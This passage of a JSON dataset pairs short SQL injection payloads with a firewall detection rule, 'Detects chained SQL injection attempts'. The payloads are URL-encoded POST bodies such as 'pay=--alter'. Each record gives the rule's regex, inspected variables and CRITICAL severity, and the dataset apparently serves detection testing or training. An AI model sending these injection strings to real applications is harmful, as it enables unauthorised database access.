"(?i)(?:&&|\\|\\||and|between|div|like|n(?:and|ot)|(?:xx?)?or)[\\s\\x0b\\(]+[0-9A-Z_a-z]+[\\s\\x0b\\)]*?[!\\+=]+[\\s\\x0b0-9]*?[\\\"'-\\)=`]|[0-9](?:[\\s\\x0b]*?(?:and|between|div|like|x?or)[\\s\\x0b]*?[0-9]+[\\s\\x0b]*?[\\+\\-]|[\\s\\x0b]+group[\\s\\x0b]+by.+\\()|/[0-9A-Z_a-z]+;?[\\s\\x0b]+(?:and|between|div|having|like|x?or|select)[^0-9A-Z_a-z]|(?:[#;]|--)[\\s\\x0b]*?(?:alter|drop|(?:insert|update)[\\s\\x0b]*?[0-9A-Z_a-z]{2,})|@.+=[\\s\\x0b]*?\\([\\s\\x0b]*?select|[^0-9A-Z_a-z]SET[\\s\\x0b]*?@[0-9A-Z_a-z]+", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942210", "test_description": "Detects chained SQL injection attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay%3D%7C%7C%28e+%3D%22" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:&&|\\|\\||and|between|div|like|n(?:and|ot)|(?:xx?)?or)[\\s\\x0b\\(]+[0-9A-Z_a-z]+[\\s\\x0b\\)]*?[!\\+=]+[\\s\\x0b0-9]*?[\\\"'-\\)=`]|[0-9](?:[\\s\\x0b]*?(?:and|between|div|like|x?or)[\\s\\x0b]*?[0-9]+[\\s\\x0b]*?[\\+\\-]|[\\s\\x0b]+group[\\s\\x0b]+by.+\\()|/[0-9A-Z_a-z]+;?[\\s\\x0b]+(?:and|between|div|having|like|x?or|select)[^0-9A-Z_a-z]|(?:[#;]|--)[\\s\\x0b]*?(?:alter|drop|(?:insert|update)[\\s\\x0b]*?[0-9A-Z_a-z]{2,})|@.+=[\\s\\x0b]*?\\([\\s\\x0b]*?select|[^0-9A-Z_a-z]SET[\\s\\x0b]*?@[0-9A-Z_a-z]+", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942210", "test_description": "Detects chained SQL injection attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay%3D%26%26%28e%3D%3D%3D" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:&&|\\|\\||and|between|div|like|n(?:and|ot)|(?:xx?)?or)[\\s\\x0b\\(]+[0-9A-Z_a-z]+[\\s\\x0b\\)]*?[!\\+=]+[\\s\\x0b0-9]*?[\\\"'-\\)=`]|[0-9](?:[\\s\\x0b]*?(?:and|between|div|like|x?or)[\\s\\x0b]*?[0-9]+[\\s\\x0b]*?[\\+\\-]|[\\s\\x0b]+group[\\s\\x0b]+by.+\\()|/[0-9A-Z_a-z]+;?[\\s\\x0b]+(?:and|between|div|having|like|x?or|select)[^0-9A-Z_a-z]|(?:[#;]|--)[\\s\\x0b]*?(?:alter|drop|(?:insert|update)[\\s\\x0b]*?[0-9A-Z_a-z]{2,})|@.+=[\\s\\x0b]*?\\([\\s\\x0b]*?select|[^0-9A-Z_a-z]SET[\\s\\x0b]*?@[0-9A-Z_a-z]+", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942210", "test_description": "Detects chained SQL injection attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay%3D%26%26%28null%3D%3D%28" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:&&|\\|\\||and|between|div|like|n(?:and|ot)|(?:xx?)?or)[\\s\\x0b\\(]+[0-9A-Z_a-z]+[\\s\\x0b\\)]*?[!\\+=]+[\\s\\x0b0-9]*?[\\\"'-\\)=`]|[0-9](?:[\\s\\x0b]*?(?:and|between|div|like|x?or)[\\s\\x0b]*?[0-9]+[\\s\\x0b]*?[\\+\\-]|[\\s\\x0b]+group[\\s\\x0b]+by.+\\()|/[0-9A-Z_a-z]+;?[\\s\\x0b]+(?:and|between|div|having|like|x?or|select)[^0-9A-Z_a-z]|(?:[#;]|--)[\\s\\x0b]*?(?:alter|drop|(?:insert|update)[\\s\\x0b]*?[0-9A-Z_a-z]{2,})|@.+=[\\s\\x0b]*?\\([\\s\\x0b]*?select|[^0-9A-Z_a-z]SET[\\s\\x0b]*?@[0-9A-Z_a-z]+", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942210", "test_description": "Detects chained SQL injection attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay%3D%26%26%28a%3D%22" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:&&|\\|\\||and|between|div|like|n(?:and|ot)|(?:xx?)?or)[\\s\\x0b\\(]+[0-9A-Z_a-z]+[\\s\\x0b\\)]*?[!\\+=]+[\\s\\x0b0-9]*?[\\\"'-\\)=`]|[0-9](?:[\\s\\x0b]*?(?:and|between|div|like|x?or)[\\s\\x0b]*?[0-9]+[\\s\\x0b]*?[\\+\\-]|[\\s\\x0b]+group[\\s\\x0b]+by.+\\()|/[0-9A-Z_a-z]+;?[\\s\\x0b]+(?:and|between|div|having|like|x?or|select)[^0-9A-Z_a-z]|(?:[#;]|--)[\\s\\x0b]*?(?:alter|drop|(?:insert|update)[\\s\\x0b]*?[0-9A-Z_a-z]{2,})|@.+=[\\s\\x0b]*?\\([\\s\\x0b]*?select|[^0-9A-Z_a-z]SET[\\s\\x0b]*?@[0-9A-Z_a-z]+", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942210", "test_description": "Detects chained SQL injection attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay%3D%7C%7C%28c%3D%211%29" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:&&|\\|\\||and|between|div|like|n(?:and|ot)|(?:xx?)?or)[\\s\\x0b\\(]+[0-9A-Z_a-z]+[\\s\\x0b\\)]*?[!\\+=]+[\\s\\x0b0-9]*?[\\\"'-\\)=`]|[0-9](?:[\\s\\x0b]*?(?:and|between|div|like|x?or)[\\s\\x0b]*?[0-9]+[\\s\\x0b]*?[\\+\\-]|[\\s\\x0b]+group[\\s\\x0b]+by.+\\()|/[0-9A-Z_a-z]+;?[\\s\\x0b]+(?:and|between|div|having|like|x?or|select)[^0-9A-Z_a-z]|(?:[#;]|--)[\\s\\x0b]*?(?:alter|drop|(?:insert|update)[\\s\\x0b]*?[0-9A-Z_a-z]{2,})|@.+=[\\s\\x0b]*?\\([\\s\\x0b]*?select|[^0-9A-Z_a-z]SET[\\s\\x0b]*?@[0-9A-Z_a-z]+", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942210", "test_description": "Detects chained SQL injection attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay%3D%26%26%28d%21%3D%3D" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:&&|\\|\\||and|between|div|like|n(?:and|ot)|(?:xx?)?or)[\\s\\x0b\\(]+[0-9A-Z_a-z]+[\\s\\x0b\\)]*?[!\\+=]+[\\s\\x0b0-9]*?[\\\"'-\\)=`]|[0-9](?:[\\s\\x0b]*?(?:and|between|div|like|x?or)[\\s\\x0b]*?[0-9]+[\\s\\x0b]*?[\\+\\-]|[\\s\\x0b]+group[\\s\\x0b]+by.+\\()|/[0-9A-Z_a-z]+;?[\\s\\x0b]+(?:and|between|div|having|like|x?or|select)[^0-9A-Z_a-z]|(?:[#;]|--)[\\s\\x0b]*?(?:alter|drop|(?:insert|update)[\\s\\x0b]*?[0-9A-Z_a-z]{2,})|@.+=[\\s\\x0b]*?\\([\\s\\x0b]*?select|[^0-9A-Z_a-z]SET[\\s\\x0b]*?@[0-9A-Z_a-z]+", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942210", "test_description": "Detects chained SQL injection attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay%3D%7C%7C%28g%3D%210%29" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:&&|\\|\\||and|between|div|like|n(?:and|ot)|(?:xx?)?or)[\\s\\x0b\\(]+[0-9A-Z_a-z]+[\\s\\x0b\\)]*?[!\\+=]+[\\s\\x0b0-9]*?[\\\"'-\\)=`]|[0-9](?:[\\s\\x0b]*?(?:and|between|div|like|x?or)[\\s\\x0b]*?[0-9]+[\\s\\x0b]*?[\\+\\-]|[\\s\\x0b]+group[\\s\\x0b]+by.+\\()|/[0-9A-Z_a-z]+;?[\\s\\x0b]+(?:and|between|div|having|like|x?or|select)[^0-9A-Z_a-z]|(?:[#;]|--)[\\s\\x0b]*?(?:alter|drop|(?:insert|update)[\\s\\x0b]*?[0-9A-Z_a-z]{2,})|@.+=[\\s\\x0b]*?\\([\\s\\x0b]*?select|[^0-9A-Z_a-z]SET[\\s\\x0b]*?@[0-9A-Z_a-z]+", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942210", "test_description": "Detects chained SQL injection attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay%3D%26%26%28e%3D%22" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:&&|\\|\\||and|between|div|like|n(?:and|ot)|(?:xx?)?or)[\\s\\x0b\\(]+[0-9A-Z_a-z]+[\\s\\x0b\\)]*?[!\\+=]+[\\s\\x0b0-9]*?[\\\"'-\\)=`]|[0-9](?:[\\s\\x0b]*?(?:and|between|div|like|x?or)[\\s\\x0b]*?[0-9]+[\\s\\x0b]*?[\\+\\-]|[\\s\\x0b]+group[\\s\\x0b]+by.+\\()|/[0-9A-Z_a-z]+;?[\\s\\x0b]+(?:and|between|div|having|like|x?or|select)[^0-9A-Z_a-z]|(?:[#;]|--)[\\s\\x0b]*?(?:alter|drop|(?:insert|update)[\\s\\x0b]*?[0-9A-Z_a-z]{2,})|@.+=[\\s\\x0b]*?\\([\\s\\x0b]*?select|[^0-9A-Z_a-z]SET[\\s\\x0b]*?@[0-9A-Z_a-z]+", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942210", "test_description": "Detects chained SQL injection attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay%3D%26%26%28c%3D%210%29" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:&&|\\|\\||and|between|div|like|n(?:and|ot)|(?:xx?)?or)[\\s\\x0b\\(]+[0-9A-Z_a-z]+[\\s\\x0b\\)]*?[!\\+=]+[\\s\\x0b0-9]*?[\\\"'-\\)=`]|[0-9](?:[\\s\\x0b]*?(?:and|between|div|like|x?or)[\\s\\x0b]*?[0-9]+[\\s\\x0b]*?[\\+\\-]|[\\s\\x0b]+group[\\s\\x0b]+by.+\\()|/[0-9A-Z_a-z]+;?[\\s\\x0b]+(?:and|between|div|having|like|x?or|select)[^0-9A-Z_a-z]|(?:[#;]|--)[\\s\\x0b]*?(?:alter|drop|(?:insert|update)[\\s\\x0b]*?[0-9A-Z_a-z]{2,})|@.+=[\\s\\x0b]*?\\([\\s\\x0b]*?select|[^0-9A-Z_a-z]SET[\\s\\x0b]*?@[0-9A-Z_a-z]+", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942210", "test_description": "Detects chained SQL injection attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay%3D%26%26%28f+%3D%28" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:&&|\\|\\||and|between|div|like|n(?:and|ot)|(?:xx?)?or)[\\s\\x0b\\(]+[0-9A-Z_a-z]+[\\s\\x0b\\)]*?[!\\+=]+[\\s\\x0b0-9]*?[\\\"'-\\)=`]|[0-9](?:[\\s\\x0b]*?(?:and|between|div|like|x?or)[\\s\\x0b]*?[0-9]+[\\s\\x0b]*?[\\+\\-]|[\\s\\x0b]+group[\\s\\x0b]+by.+\\()|/[0-9A-Z_a-z]+;?[\\s\\x0b]+(?:and|between|div|having|like|x?or|select)[^0-9A-Z_a-z]|(?:[#;]|--)[\\s\\x0b]*?(?:alter|drop|(?:insert|update)[\\s\\x0b]*?[0-9A-Z_a-z]{2,})|@.+=[\\s\\x0b]*?\\([\\s\\x0b]*?select|[^0-9A-Z_a-z]SET[\\s\\x0b]*?@[0-9A-Z_a-z]+", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942210", "test_description": "Detects chained SQL injection attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay%3D%7C%7C%28x%3D%22" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:&&|\\|\\||and|between|div|like|n(?:and|ot)|(?:xx?)?or)[\\s\\x0b\\(]+[0-9A-Z_a-z]+[\\s\\x0b\\)]*?[!\\+=]+[\\s\\x0b0-9]*?[\\\"'-\\)=`]|[0-9](?:[\\s\\x0b]*?(?:and|between|div|like|x?or)[\\s\\x0b]*?[0-9]+[\\s\\x0b]*?[\\+\\-]|[\\s\\x0b]+group[\\s\\x0b]+by.+\\()|/[0-9A-Z_a-z]+;?[\\s\\x0b]+(?:and|between|div|having|like|x?or|select)[^0-9A-Z_a-z]|(?:[#;]|--)[\\s\\x0b]*?(?:alter|drop|(?:insert|update)[\\s\\x0b]*?[0-9A-Z_a-z]{2,})|@.+=[\\s\\x0b]*?\\([\\s\\x0b]*?select|[^0-9A-Z_a-z]SET[\\s\\x0b]*?@[0-9A-Z_a-z]+", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942210", "test_description": "Detects chained SQL injection attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay%3D%26%26%28b%3D0%29" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:&&|\\|\\||and|between|div|like|n(?:and|ot)|(?:xx?)?or)[\\s\\x0b\\(]+[0-9A-Z_a-z]+[\\s\\x0b\\)]*?[!\\+=]+[\\s\\x0b0-9]*?[\\\"'-\\)=`]|[0-9](?:[\\s\\x0b]*?(?:and|between|div|like|x?or)[\\s\\x0b]*?[0-9]+[\\s\\x0b]*?[\\+\\-]|[\\s\\x0b]+group[\\s\\x0b]+by.+\\()|/[0-9A-Z_a-z]+;?[\\s\\x0b]+(?:and|between|div|having|like|x?or|select)[^0-9A-Z_a-z]|(?:[#;]|--)[\\s\\x0b]*?(?:alter|drop|(?:insert|update)[\\s\\x0b]*?[0-9A-Z_a-z]{2,})|@.+=[\\s\\x0b]*?\\([\\s\\x0b]*?select|[^0-9A-Z_a-z]SET[\\s\\x0b]*?@[0-9A-Z_a-z]+", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942210", "test_description": "Detects chained SQL injection attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay%3D%7C%7C%28e%3D%3D%3D" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:&&|\\|\\||and|between|div|like|n(?:and|ot)|(?:xx?)?or)[\\s\\x0b\\(]+[0-9A-Z_a-z]+[\\s\\x0b\\)]*?[!\\+=]+[\\s\\x0b0-9]*?[\\\"'-\\)=`]|[0-9](?:[\\s\\x0b]*?(?:and|between|div|like|x?or)[\\s\\x0b]*?[0-9]+[\\s\\x0b]*?[\\+\\-]|[\\s\\x0b]+group[\\s\\x0b]+by.+\\()|/[0-9A-Z_a-z]+;?[\\s\\x0b]+(?:and|between|div|having|like|x?or|select)[^0-9A-Z_a-z]|(?:[#;]|--)[\\s\\x0b]*?(?:alter|drop|(?:insert|update)[\\s\\x0b]*?[0-9A-Z_a-z]{2,})|@.+=[\\s\\x0b]*?\\([\\s\\x0b]*?select|[^0-9A-Z_a-z]SET[\\s\\x0b]*?@[0-9A-Z_a-z]+", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942210", "test_description": "Detects chained SQL injection attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay%3D%7C%7C%28c%3D%3D%3D" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:&&|\\|\\||and|between|div|like|n(?:and|ot)|(?:xx?)?or)[\\s\\x0b\\(]+[0-9A-Z_a-z]+[\\s\\x0b\\)]*?[!\\+=]+[\\s\\x0b0-9]*?[\\\"'-\\)=`]|[0-9](?:[\\s\\x0b]*?(?:and|between|div|like|x?or)[\\s\\x0b]*?[0-9]+[\\s\\x0b]*?[\\+\\-]|[\\s\\x0b]+group[\\s\\x0b]+by.+\\()|/[0-9A-Z_a-z]+;?[\\s\\x0b]+(?:and|between|div|having|like|x?or|select)[^0-9A-Z_a-z]|(?:[#;]|--)[\\s\\x0b]*?(?:alter|drop|(?:insert|update)[\\s\\x0b]*?[0-9A-Z_a-z]{2,})|@.+=[\\s\\x0b]*?\\([\\s\\x0b]*?select|[^0-9A-Z_a-z]SET[\\s\\x0b]*?@[0-9A-Z_a-z]+", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942210", "test_description": "Detects chained SQL injection attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay%3D%26%26+1%3D%3D%28" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:&&|\\|\\||and|between|div|like|n(?:and|ot)|(?:xx?)?or)[\\s\\x0b\\(]+[0-9A-Z_a-z]+[\\s\\x0b\\)]*?[!\\+=]+[\\s\\x0b0-9]*?[\\\"'-\\)=`]|[0-9](?:[\\s\\x0b]*?(?:and|between|div|like|x?or)[\\s\\x0b]*?[0-9]+[\\s\\x0b]*?[\\+\\-]|[\\s\\x0b]+group[\\s\\x0b]+by.+\\()|/[0-9A-Z_a-z]+;?[\\s\\x0b]+(?:and|between|div|having|like|x?or|select)[^0-9A-Z_a-z]|(?:[#;]|--)[\\s\\x0b]*?(?:alter|drop|(?:insert|update)[\\s\\x0b]*?[0-9A-Z_a-z]{2,})|@.+=[\\s\\x0b]*?\\([\\s\\x0b]*?select|[^0-9A-Z_a-z]SET[\\s\\x0b]*?@[0-9A-Z_a-z]+", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942210", "test_description": "Detects chained SQL injection attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=OR backend_layout= '" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:&&|\\|\\||and|between|div|like|n(?:and|ot)|(?:xx?)?or)[\\s\\x0b\\(]+[0-9A-Z_a-z]+[\\s\\x0b\\)]*?[!\\+=]+[\\s\\x0b0-9]*?[\\\"'-\\)=`]|[0-9](?:[\\s\\x0b]*?(?:and|between|div|like|x?or)[\\s\\x0b]*?[0-9]+[\\s\\x0b]*?[\\+\\-]|[\\s\\x0b]+group[\\s\\x0b]+by.+\\()|/[0-9A-Z_a-z]+;?[\\s\\x0b]+(?:and|between|div|having|like|x?or|select)[^0-9A-Z_a-z]|(?:[#;]|--)[\\s\\x0b]*?(?:alter|drop|(?:insert|update)[\\s\\x0b]*?[0-9A-Z_a-z]{2,})|@.+=[\\s\\x0b]*?\\([\\s\\x0b]*?select|[^0-9A-Z_a-z]SET[\\s\\x0b]*?@[0-9A-Z_a-z]+", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942210", "test_description": "Detects chained SQL injection attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=--alter" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:&&|\\|\\||and|between|div|like|n(?:and|ot)|(?:xx?)?or)[\\s\\x0b\\(]+[0-9A-Z_a-z]+[\\s\\x0b\\)]*?[!\\+=]+[\\s\\x0b0-9]*?[\\\"'-\\)=`]|[0-9](?:[\\s\\x0b]*?(?:and|between|div|like|x?or)[\\s\\x0b]*?[0-9]+[\\s\\x0b]*?[\\+\\-]|[\\s\\x0b]+group[\\s\\x0b]+by.+\\()|/[0-9A-Z_a-z]+;?[\\s\\x0b]+(?:and|between|div|having|like|x?or|select)[^0-9A-Z_a-z]|(?:[#;]|--)[\\s\\x0b]*?(?:alter|drop|(?:insert|update)[\\s\\x0b]*?[0-9A-Z_a-z]{2,})|@.+=[\\s\\x0b]*?\\([\\s\\x0b]*?select|[^0-9A-Z_a-z]SET[\\s\\x0b]*?@[0-9A-Z_a-z]+", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942210", "test_description": "Detects chained SQL injection attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=AND (name = \"" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:&&|\\|\\||and|between|div|like|n(?:and|ot)|(?:xx?)?or)[\\s\\x0b\\(]+[0-9A-Z_a-z]+[\\s\\x0b\\)]*?[!\\+=]+[\\s\\x0b0-9]*?[\\\"'-\\)=`]|[0-9](?:[\\s\\x0b]*?(?:and|between|div|like|x?or)[\\s\\x0b]*?[0-9]+[\\s\\x0b]*?[\\+\\-]|[\\s\\x0b]+group[\\s\\x0b]+by.+\\()|/[0-9A-Z_a-z]+;?[\\s\\x0b]+(?:and|between|div|having|like|x?or|select)[^0-9A-Z_a-z]|(?:[#;]|--)[\\s\\x0b]*?(?:alter|drop|(?:insert|update)[\\s\\x0b]*?[0-9A-Z_a-z]{2,})|@.+=[\\s\\x0b]*?\\([\\s\\x0b]*?select|[^0-9A-Z_a-z]SET[\\s\\x0b]*?@[0-9A-Z_a-z]+", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942210", "test_description": "Detects chained SQL injection attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=OR name = \"" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": 